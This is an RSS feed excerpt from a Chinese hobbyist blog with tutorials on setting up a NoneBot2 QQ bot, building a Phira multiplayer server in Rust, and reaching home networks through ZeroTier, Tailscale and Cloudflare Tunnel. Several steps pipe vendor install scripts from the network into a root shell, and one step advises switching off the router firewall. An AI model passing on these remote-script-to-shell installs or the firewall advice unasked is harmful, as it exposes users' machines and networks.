&lt;p&gt;装 pipx&lt;code&gt;pip install pipx&lt;/code&gt;。你也可以使用&lt;code&gt;scoop install pipx&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;设置 pipx 全局变量:&lt;code&gt;pipx ensurepath&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;装 nb-cli&lt;code&gt;pipx install nb-cli&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;如果找不到 nb 命令:&lt;/strong&gt; 对于 root 用户,你可以编辑 &lt;code&gt;/root/.bashrc&lt;/code&gt;&lt;code&gt;/root/.profile&lt;/code&gt;(如果你使用的是 Bash &lt;code&gt;nano /root/.bashrc&lt;/code&gt; 添加以下行: &lt;code&gt;export PATH=&quot;$HOME/.local/bin:$PATH&quot;&lt;/code&gt; 保存并重新加载配置: &lt;code&gt;source /root/.bashrc&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;装 nb bootstrap&lt;code&gt;nb self install nb-cli-plugin-bootstrap&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;新建项目,选一个你喜欢的文件夹,然后:&lt;code&gt;nb bs&lt;/code&gt; (看不懂的就一路回车)&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;示例:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C:\afbot&amp;gt;nb bs
加载适配器列表中……
请输入项目名称
[?] 请输入 &amp;gt; onanibot
[?] 请选择你想要使用的适配器 OneBot V11 (OneBot V11 协议)
请输入 Bot 超级用户,超级用户拥有对 Bot 的最高权限(如对接 QQ 填 QQ 号即可)(留空回车结束输入)
[?] 第 1 项 &amp;gt;
请输入 Bot 昵称,消息以 Bot 昵称开头可以代替艾特(留空回车结束输入)
[?] 第 1 项 &amp;gt;
请输入 Bot 命令起始字符,消息以起始符开头将被识别为命令,
如果有一个指令为 查询,当该配置项中有 &quot;/&quot; 时使用 &quot;/查询&quot; 才能够触发,
留空将使用默认值 [&apos;&apos;, &apos;/&apos;, &apos;#&apos;](留空回车结束输入)
[?] 第 1 项 &amp;gt;
请输入 Bot 命令分隔符,一般用于二级指令,
留空将使用默认值 [&apos;.&apos;, &apos; &apos;](留空回车结束输入)
[?] 第 1 项 &amp;gt;
请输入 NoneBot2 监听地址,如果要对公网开放,改为 0.0.0.0 即可
[?] 请输入 &amp;gt; 127.0.0.1
请输入 NoneBot2 监听端口,范围 1 ~ 65535请保证该端口号与连接端配置相同或与端口映射配置相关
[?] 请输入 &amp;gt; 8080
[?] 是否在项目目录中释出快捷启动脚本? Yes
[?] 是否将 localstore 插件的存储路径重定向到项目路径下以便于后续迁移 Bot Yes
[?] 是否使用超级用户 Ping 指令回复插件? Yes
[?] 是否安装 logpile 插件提供日志记录到文件功能? Yes
[?] 是否在启动脚本中使用 webui 插件启动项目以使用网页管理 NoneBot该插件仍在开发中不推荐用于生产环境 No
成功新建项目 onanibot
[?] 是否新建虚拟环境? Yes
正在 C:\afbot\onanibot\.venv 中创建虚拟环境
创建虚拟环境成功
[?] 是否需要修改或清除 pip 的 PyPI 镜像源配置? No
[?] 是否立即安装项目依赖? Yes
正在安装项目依赖
依赖安装成功
[?] 请选择需要启用的内置插件
项目配置完毕,开始使用吧!
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;项目创建完毕后启动:&lt;code&gt;nb run&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;出现:&lt;code&gt;[INFO] nonebot | OneBot V11 | Bot XXXXXXXXXX connected&lt;/code&gt; 你就成功连接上 Lagrange 了&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;测试,发个&lt;code&gt;/ping&lt;/code&gt;看是否出现Pong~&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;如果你要调试 NoneBot2请先使用&lt;code&gt;nb&lt;/code&gt; 进入虚拟环境。然后使用&lt;code&gt;pip install &amp;lt;包名&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>Phira多人联机服务器搭建/使用教程</title><link>https://blog.acofork.com/posts/phira-mp/</link><guid isPermaLink="true">https://blog.acofork.com/posts/phira-mp/</guid><description>懒人可以直接下载预构建的可执行文件但如果想获得日志需要自备Rust环境</description><pubDate>Wed, 06 Nov 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;直接下载服务端文件并运行&lt;/h1&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/afoim/phira-mp-autobuild&quot;&gt;https://github.com/afoim/phira-mp-autobuild&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这里有一些由Github Action自动构建的服务端文件涵盖以下系统和架构&lt;img src=&quot;https://blog.acofork.com/_astro/2024-11-06-08-28-34-image.CXHLEJ13.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;也可以前往&lt;a href=&quot;https://phira.dmocken.top/Multiplayer%20Server%E5%A4%9A%E4%BA%BA%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8&quot;&gt;Multiplayer Server | Dmocken的Phira下载站&lt;/a&gt;自行寻找&lt;/p&gt;
&lt;p&gt;寻找适用于你的系统的文件下载下来并执行即可。默认服务端将会在你的主机12346端口上开放如果需要自定义端口请使用&lt;code&gt;--port&lt;/code&gt;参数指定端口。然后即可使用Phira来填写IP/域名:端口来连接&lt;/p&gt;
&lt;p&gt;*如果要显示Log请使用 &lt;code&gt;RUST_LOG=debug ./xxx&lt;/code&gt; 去运行,默认日志等级是 &lt;code&gt;WARN&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;如果这些文件不适用于你正在使用的系统请前往&lt;a href=&quot;#%E8%87%AA%E8%A1%8C%E6%9E%84%E5%BB%BA%E9%AB%98%E7%BA%A7&quot;&gt;自行构建(高级)&lt;/a&gt;继续阅读&lt;/p&gt;
&lt;h1&gt;自行构建(高级)&lt;/h1&gt;
&lt;p&gt;由于phira-mp使用Rust编写若想要自行构建需要在你的操作系统上安装Rust环境&lt;/p&gt;
&lt;h2&gt;对于Windows&lt;/h2&gt;
&lt;p&gt;前往&lt;a href=&quot;https://www.rust-lang.org/zh-CN/learn/get-started&quot;&gt;Rust 下载页&lt;/a&gt;,下载 Rust &lt;img src=&quot;https://blog.acofork.com/_astro/2024-11-06-09-57-44-6b333b87e835dfa299b0c3c95e5ea4e0.CCfr_E4v.webp&quot; alt=&quot;&quot; /&gt;
打开后会弹出一个 CMD 窗口,输入 1Quick Install回车等待 Visual Studio 安装(如果此步 Visual Studio 下载很慢也可以&lt;a href=&quot;https://visualstudio.microsoft.com/zh-hans/downloads/&quot;&gt;手动下载&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2024-11-06-09-57-49-61b4d36dc8cd1ce47da66be5e2a920cd.B7E5EIvS.webp&quot; alt=&quot;&quot; /&gt;在 Visual Studio 中,勾选&lt;strong&gt;使用 C++ 的桌面开发&lt;/strong&gt;,然后安装&lt;br /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/2024-11-06-09-58-05-390c775c83dc245b0690fda699bfee5f.Clk5SgMe.webp&quot; alt=&quot;&quot; /&gt;然后请跳过 Linux 教程直接阅读&lt;a&gt;构建 phira-mp&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;对于Linux&lt;/h2&gt;
&lt;p&gt;执行:&lt;code&gt;curl --proto &apos;=https&apos; --tlsv1.2 -sSf https://sh.rustup.rs | sh&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;选择 1 回车&lt;/p&gt;
&lt;p&gt;执行:&lt;code&gt;source $HOME/.cargo/env&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;使用Rust构建phira-mp&lt;/h1&gt;
&lt;p&gt;克隆仓库:&lt;code&gt;git clone https://github.com/TeamFlos/phira-mp.git&lt;/code&gt;不支持IPv6&lt;code&gt;git clone https://github.com/afoim/phira-mp-autobuild.git&lt;/code&gt;支持IPv6&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cd phira-mp&lt;/code&gt;&lt;code&gt;cd phira-mp-autobuild&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;更新依赖:&lt;code&gt;cargo update&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;构建:&lt;code&gt;cargo build --release -p phira-mp-server&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;运行程序并将 log 打印到终端,会显示你监听的端口:&lt;code&gt;RUST_LOG=info target/release/phira-mp-server&lt;/code&gt;&lt;br /&gt;
(如果你需要指定端口号:&lt;code&gt;RUST_LOG=info target/release/phira-mp-server --port 8080&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2024-11-06-10-14-36-0dce4358b21773ae1261e7fc39339c32.DghVj_Xm.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>究极喂饭教程,手把手教你内网穿透</title><link>https://blog.acofork.com/posts/across-nat/</link><guid isPermaLink="true">https://blog.acofork.com/posts/across-nat/</guid><description>使用ZerotierTailscaleCloudflare Tunnel可以实现多种内网穿透其中有适用于个人访问的也有适用于公众访问的</description><pubDate>Mon, 28 Oct 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;经实测Zerotier的打洞能力明显优于Tailscale所以建议通过Zerotier来实现内网穿透&lt;/h1&gt;
&lt;p&gt;详细报表:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Zerotier&lt;/th&gt;
&lt;th&gt;Tailscale&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;单端DMZ单端NAT1&lt;/td&gt;
&lt;td&gt;STUN&lt;/td&gt;
&lt;td&gt;STUN&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;仅单端UPnP单端NAT3&lt;/td&gt;
&lt;td&gt;UDP P2P&lt;/td&gt;
&lt;td&gt;玄学穿透&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;双端UPnP双端NAT3&lt;/td&gt;
&lt;td&gt;UDP P2P&lt;/td&gt;
&lt;td&gt;玄学穿透&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;双端无UPnP/DMZ双端NAT3/NAT4&lt;/td&gt;
&lt;td&gt;UDP P2P&lt;/td&gt;
&lt;td&gt;无法穿透&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;自建中继/握手节点&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;其实实际情况会更加复杂一点,但是你只要有 &lt;strong&gt;公网IPv6、UPnP、DMZ&lt;/strong&gt; 中的其中一项Zerotier就几乎是100%的打洞成功率&lt;/p&gt;
&lt;p&gt;如何知道我是P2P还是中继
ping你的对端设备如果延迟大于200ms或者经常丢包大概率就是中继节点也有小概率是你的设备负载过高导致无法及时接收和返回ping包&lt;/p&gt;
&lt;h1&gt;啥是内网穿透?&lt;/h1&gt;
&lt;p&gt;当我们在家中有个NAS想要在学校/公司的网络来访问就需要用到内网穿透实现外网访问内网服务。原理一般是P2P打洞和服务器中转流量&lt;/p&gt;
&lt;h1&gt;前期准备&lt;/h1&gt;
&lt;p&gt;路由器开启UPnP&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-17-08-00-image.D3nm75yS.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;关闭路由器的IPv4IPv6防火墙 &lt;strong&gt;(可选)&lt;/strong&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-17-09-19-image.C3UGHG99.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;&lt;em&gt;使用Zerotier/Tailscale进行内网穿透&lt;/em&gt;&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;他们俩的原理都是尝试对端建立P2P连接需要对端安装一个软件并且长期运行&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;使用Zerotier进行内网穿透的详细教程&lt;/h1&gt;
&lt;h2&gt;创建Zerotier账号&lt;/h2&gt;
&lt;p&gt;前往:&lt;a href=&quot;https://www.zerotier.com/&quot;&gt;ZeroTier | Global Networking Solution for IoT, SD-WAN, and VPN&lt;/a&gt;。如果你进不去,请尝试挂梯子。如果看不懂英文可以开启浏览器的翻译功能&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-17-12-51-image.Ddi3o4wp.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;选择 &lt;code&gt;Sign up&lt;/code&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-17-13-06-image.mYYPjbz1.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果你到了这个界面,请仍然选择&lt;code&gt;Sign up&lt;/code&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-17-15-08-image.CsKcWiIB.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-17-16-52-image.DxGkCjJp.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;账号创建完毕后,登录即可&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-17-17-47-image.CwgRWoMp.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;创建一个新的Zerotier网络组&lt;/h2&gt;
&lt;p&gt;当你账号登录成功后,会自动跳转到这个页面,点击&lt;code&gt;Create A Network&lt;/code&gt;。如果没有,请访问&lt;a href=&quot;https://my.zerotier.com/&quot;&gt;ZeroTier Central&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-17-20-24-image.f8oScQGB.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;下面的列表会增加一个新的网络组,点击它&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-17-21-31-image.Xnc9h9zy.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Zerotier默认的网络组模式为&lt;code&gt;Private&lt;/code&gt;。即私密模式,哪怕别人知道了你的&lt;code&gt;Network ID&lt;/code&gt;尝试加入你的网络组也需要你进行验证&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-17-22-38-image.B-eU03LS.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;复制这个&lt;code&gt;Network ID&lt;/code&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-17-22-13-image.DL6BJFdN.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;在设备上安装Zerotier应用&lt;/h1&gt;
&lt;h2&gt;Windows&lt;/h2&gt;
&lt;p&gt;前往&lt;a href=&quot;https://www.zerotier.com/download/&quot;&gt;Download - ZeroTier&lt;/a&gt;下载exe安装文件&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-17-25-52-image.Cf50Yqec.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打开Zerotier&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-17-27-20-image.jl_-Sny8.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;查看右下角托盘,按照图片操作加入网络组&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-17-28-20-image.vuLpRAAo.webp&quot; alt=&quot;&quot; /&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-17-29-12-image.Dt6EL3_x.webp&quot; alt=&quot;&quot; /&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-17-30-26-image.BTCSEbnz.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里可以查询到你的设备ID和你在这个网络组的IP&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-18-03-19-image.BYPZXFfC.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;然后参考:&lt;a href=&quot;#zerotier%E6%8E%88%E6%9D%83%E8%AE%BE%E5%A4%87&quot;&gt;Zerotier授权设备&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;Linux飞牛OS&lt;/h2&gt;
&lt;p&gt;通过SSH连接上你的Linux设备&lt;/p&gt;
&lt;p&gt;查看安装命令:&lt;a href=&quot;https://www.zerotier.com/download/&quot;&gt;Download - ZeroTier&lt;/a&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-17-38-19-image.Gzx7L_Cn.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;终端执行: &lt;code&gt;curl -s https://install.zerotier.com | sudo bash&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;看到这一行即安装完毕后面那一串即你的设备ID&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-17-39-23-image.Cw5ity2X.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;加入网络:&lt;code&gt;sudo zerotier-cli join 你的Network ID&lt;/code&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-17-42-01-image.iZzNeRsh.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;然后参考:&lt;a href=&quot;#zerotier%E6%8E%88%E6%9D%83%E8%AE%BE%E5%A4%87&quot;&gt;Zerotier授权设备&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;Android安卓&lt;/h2&gt;
&lt;p&gt;下载客户端&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Zerotier One&lt;a href=&quot;https://apkpure.net/zerotier-one/com.zerotier.one&quot;&gt;ZeroTier One APK Download for Android - Latest Version&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ZerotierFix&lt;a href=&quot;https://github.com/kaaass/ZerotierFix/releases&quot;&gt;Releases · kaaass/ZerotierFix&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;如图操作&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-17-59-06-image.DNvl3C1n.webp&quot; alt=&quot;&quot; /&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-17-59-46-image.Cb6Z0gLJ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;然后参考:&lt;a href=&quot;#zerotier%E6%8E%88%E6%9D%83%E8%AE%BE%E5%A4%87&quot;&gt;Zerotier授权设备&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;Zerotier授权设备&lt;/h1&gt;
&lt;p&gt;前往Zerotier的网页控制台&lt;a href=&quot;%5Bhttps://my.zerotier.com/%5D(https://my.zerotier.com/)&quot;&gt;ZeroTier Central&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;授权刚才加入的设备&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-17-31-51-image.s1EedpqN.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;勾选然后保存&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-17-33-10-image.DkUZVGaz.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;Zerotier访问测试&lt;/h1&gt;
&lt;p&gt;如果你同一个网络组里已经有两台以上的设备了可以尝试ping一下测试连通性请先确保两台设备不在同一个局域网比如手机开流量NAS用家里的无线网&lt;/p&gt;
&lt;p&gt;IP可以在这里查看&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-18-02-00-image.DidndU1x.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ping测试&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-18-07-13-image.Dsot47uv.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;使用Tailscale进行内网穿透的详细教程&lt;/h1&gt;
&lt;h2&gt;创建Tailscale账号&lt;/h2&gt;
&lt;p&gt;前往:&lt;a href=&quot;https://login.tailscale.com/start&quot;&gt;Tailscale&lt;/a&gt;。如果你进不去,请尝试挂梯子。如果看不懂英文可以开启浏览器的翻译功能&lt;/p&gt;
&lt;p&gt;选择任意一个登录方式&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-18-24-32-image.Wjpa6v28.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;账号创建完毕后,登录即可&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;在设备上安装Tailscale应用&lt;/h1&gt;
&lt;h2&gt;Windows&lt;/h2&gt;
&lt;p&gt;前往&lt;a href=&quot;https://tailscale.com/download&quot;&gt;Download · Tailscale&lt;/a&gt;下载exe安装文件&lt;/p&gt;
&lt;p&gt;官方教程:&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-18-31-48-image.DVGnVU9p.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Linux飞牛OS&lt;/h2&gt;
&lt;p&gt;通过SSH连接上你的Linux设备&lt;/p&gt;
&lt;p&gt;查看安装命令:&lt;a href=&quot;https://tailscale.com/download/linux&quot;&gt;Download · Tailscale&lt;/a&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-18-32-58-image.BMg-y-Aw.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;终端执行: &lt;code&gt;curl -fsSL https://tailscale.com/install.sh | sh&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;等待安装完毕后输入:&lt;code&gt;tailscale login&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;打开弹出的浏览器窗口,登录你的账号即可&lt;/p&gt;
&lt;h2&gt;Android安卓&lt;/h2&gt;
&lt;p&gt;下载客户端Google Play&lt;a href=&quot;https://tailscale.com/download/android&quot;&gt;Download · Tailscale&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;登录你的账号即可&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Tailscale访问测试&lt;/h2&gt;
&lt;p&gt;前往Tailscale的网页控制台&lt;a href=&quot;https://login.tailscale.com/admin/machines&quot;&gt;Machines - Tailscale&lt;/a&gt;。可以查看到每个设备Tailscale分配的IP&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-18-26-58-image.axvEtzCv.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ping测试&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-18-41-45-image.DFXGsO_N.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;使用Cloudflare Tunnel进行内网穿透&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;这种方法可以不进行任何配置直接在公网上被访问但是仅限Web服务。如果你想穿透游戏服务器等则不可用。你需要先将域名托管到Cloudflare&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;创建Cloudflare账号&lt;a href=&quot;https://dash.cloudflare.com/&quot;&gt;主页 | Cloudflare&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;进入&lt;a href=&quot;https://one.dash.cloudflare.com/&quot;&gt;Cloudflare One&lt;/a&gt;需要绑定PayPal&lt;/p&gt;
&lt;p&gt;如图操作创建一个Tunnel&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-18-45-41-image.DeKN_ocp.webp&quot; alt=&quot;&quot; /&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-18-45-54-image.KXocwOIX.webp&quot; alt=&quot;&quot; /&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-18-46-22-image.DBhzZjGY.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Docker方式&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;使用1Panel&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;复制如图的命令&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/48e9c43eb5c0fb49cc5517687698e3d9d1e60220.DhtealJQ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;将其粘贴,并且复制后面的令牌&lt;img src=&quot;https://blog.acofork.com/_astro/a2e18519d3782d765d7293c7a3d21031c787d575.BUXoBbSN.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;1Panel应用商店搜索&lt;code&gt;cloudflared&lt;/code&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/cf2eba61f0aaa7605240187e1c46f80a3954edfa.CLm7N0oy.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;填入令牌&lt;img src=&quot;https://blog.acofork.com/_astro/6f661ffa778b2be2e108912d3d44d8b3301df6d6.Bb2JsIaa.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后前往&lt;a href=&quot;#%E6%9F%A5%E7%9C%8Bcloudflared%E7%9A%84ip&quot;&gt;查看IP&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;使用命令运行&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;复制底下的命令然后SSH连接到Linux飞牛OS在终端输入&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-18-46-49-image.DaTfGSmY.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后前往&lt;a href=&quot;#%E6%9F%A5%E7%9C%8Bcloudflared%E7%9A%84ip&quot;&gt;查看IP&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;查看cloudflared的IP&lt;/h3&gt;
&lt;p&gt;因为我们是Docker模式所以IP需要通过SSH终端输入&lt;code&gt;ip a&lt;/code&gt;来查看。我这里是&lt;code&gt;192.168.124.34&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@n100-debian:~# ip a
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host noprefixroute
valid_lft forever preferred_lft forever
2: ens18: tiROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether bc:24:11:33:e1:7d brd ff:ff:ff:ff:ff:ff
altname enp0s18
inet 192.168.124.34/24 brd 192.168.124.255 scope global dynamic ens18
valid_lft 46579sec preferred_lft 46579sec
inet6 2409:8a30:320:a170:be24:11ff:fe33:e17d/64 scope global dynamic mngtmpaddr
valid_lft 1902sec preferred_lft 1898sec
inet6 fe80::be24:11ff:fe33:e17d/64 scope link
valid_lft forever preferred_lft foreverti
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;然后前往&lt;a href=&quot;#%E9%85%8D%E7%BD%AE%E5%B9%B6%E8%AE%BF%E9%97%AEtunnel&quot;&gt;配置并访问Tunnel&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;原生模式以Debian为例&lt;/h2&gt;
&lt;p&gt;选择Debian然后复制底下的命令直接到终端执行&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-20-00-49-image.B1FDc-jT.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果你的环境无法连接上Github&lt;/p&gt;
&lt;p&gt;尝试手动下载:&lt;a href=&quot;https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb&quot;&gt;https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后将其通过SSH等方式传到Linux上如图终端为MobaXterm&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-29-10-18-29-image.D6aMyLhl.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后使用:&lt;code&gt;dpkg -i cloudflared-linux-amd64.deb&lt;/code&gt;安装这个软件包&lt;/p&gt;
&lt;p&gt;然后直接复制右边的命令到SSH终端执行&lt;img src=&quot;https://blog.acofork.com/_astro/48e9c43eb5c0fb49cc5517687698e3d9d1e60220.DhtealJQ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
